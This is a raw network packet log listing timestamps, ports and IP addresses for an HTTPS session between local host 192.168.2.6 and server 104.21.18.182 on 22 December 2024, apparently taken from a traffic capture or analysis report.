Dec 22, 2024 13:42:17.749310970 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.749412060 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.749655008 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.749763966 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.822094917 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.822173119 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.823240995 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.823302984 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.898489952 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.898552895 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.898940086 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.898993015 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.901501894 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.901571035 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.903893948 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.903959036 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.904843092 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.904892921 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.906722069 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.906783104 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.909369946 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.909446001 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.910116911 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.910181046 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.911372900 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.911427975 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.913942099 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.914002895 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.914011002 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.914057016 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.917177916 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.917242050 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.917248964 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.919887066 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.919941902 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.919950008 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.919996977 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.923089027 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.923127890 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.923160076 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.923165083 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.923209906 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.926114082 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.926182985 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.926189899 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.929209948 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.929280996 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.929287910 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.934370041 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.934395075 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.934451103 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.934461117 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.934492111 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.936681032 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.936738014 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.936748981 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.941324949 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.941407919 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.941416025 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.981056929 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.014625072 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.014708042 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.093189955 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.093209028 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.093278885 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.093310118 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.093365908 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.116633892 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.116652012 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.116700888 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.116734028 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.116755009 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.116780043 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.117410898 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.117430925 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.117486000 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.117494106 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.117520094 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.117539883 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.118206024 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.118221998 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.118272066 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.118279934 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.118324041 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.118864059 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.118880033 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.118918896 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.118927002 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.118953943 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.118969917 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.122620106 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.122637033 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.122668982 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.122677088 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.122725010 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.122749090 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.124500990 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.124540091 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.124562979 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.124568939 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.124769926 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.126498938 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.126552105 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.134701967 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.134721041 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.134780884 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.134799957 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.187108994 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.285201073 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.285223961 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.285271883 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.285301924 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.285320997 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.285341978 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.289760113 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.289797068 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.289824009 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.289829969 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.289856911 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.292186975 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.292248011 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.292258978 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.292301893 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.295703888 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.295738935 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.295761108 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.295769930 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.295814037 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.298794031 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.298830986 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.298847914 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.298854113 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.298955917 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.302901983 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.302937031 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.302963972 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.302969933 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.303025961 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.303845882 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.303896904 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.309977055 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.309994936 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.310084105 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.310091972 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.312468052 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.312529087 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.312536001 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.316730022 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.316767931 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.316800117 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.316806078 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.316829920 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.317620039 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.317673922 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.317683935 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.317733049 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.325325966 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.325361967 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.325432062 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.325437069 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.325485945 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.325627089 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.325675964 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.400341034 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.400424004 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.401424885 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.401477098 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.480012894 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.480094910 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.485719919 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.485745907 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.485810041 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.485821962 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.485853910 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.487368107 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.487425089 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.487437010 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.487484932 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.488190889 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.488248110 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.490674019 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.490783930 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.491712093 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.491801977 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.493165970 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.493251085 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.494919062 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.495009899 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.499418974 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.499459028 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.499488115 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.499494076 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.499532938 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.502317905 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.502357960 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.502379894 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.502387047 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.502428055 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.505733013 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.505768061 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.505809069 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.505815983 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.505853891 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.509324074 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.509360075 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.509427071 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.509432077 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.509480000 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.512655973 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.512700081 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.512731075 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.512737036 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.512790918 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.514372110 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.514442921 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.515136003 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.515202999 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.517774105 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.517867088 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.592725039 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.592762947 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.592808962 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.592813969 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.592864990 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.593790054 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.593849897 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.673582077 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.673660994 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.673670053 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.674328089 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.674377918 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.674386978 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.674431086 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.675247908 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.675307989 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.676949978 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.677028894 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.681195974 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.681231976 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.681262016 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.681267023 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.681303978 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.681320906 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.684307098 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.684380054 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.684389114 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.687695980 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.687735081 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.687758923 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.687766075 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.687798977 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.691796064 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.691833019 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.691883087 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.691889048 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.691920996 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.694230080 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.694283962 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.694293976 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.695919037 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.695970058 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.695976973 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.700114965 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.700153112 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.700195074 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.700201988 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.700268030 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.703382015 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.703413963 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.703469038 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.703474998 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.703515053 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.703844070 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.703893900 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.706321001 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.706396103 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.710589886 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.710633993 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.710671902 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.710680008 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.710695028 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.710719109 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.743022919 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.785226107 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.785264969 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.785295010 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.785300970 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.785334110 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.841028929 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.866118908 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.866166115 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.866195917 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.866204977 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.866229057 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.867135048 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.867208004 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.867217064 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.867265940 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.869440079 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.869546890 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.873564005 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.873622894 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.873652935 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.873660088 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.873697042 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.873723030 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.875533104 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.875586033 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.876224041 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.876272917 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.878268957 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.878382921 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.880489111 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.880553007 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.881280899 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.881330967 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.882046938 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.882096052 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.883611917 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.883670092 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.887742043 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.887780905 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.887815952 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.887821913 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.887852907 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.890221119 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.890278101 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.890285969 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.891835928 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.891902924 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.891912937 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.896096945 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.896133900 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.896162987 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.896168947 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.896192074 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.898233891 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.898302078 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:18.898309946 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:18.898361921 CET	49720	443	192.168.2.6	104.21.18.182
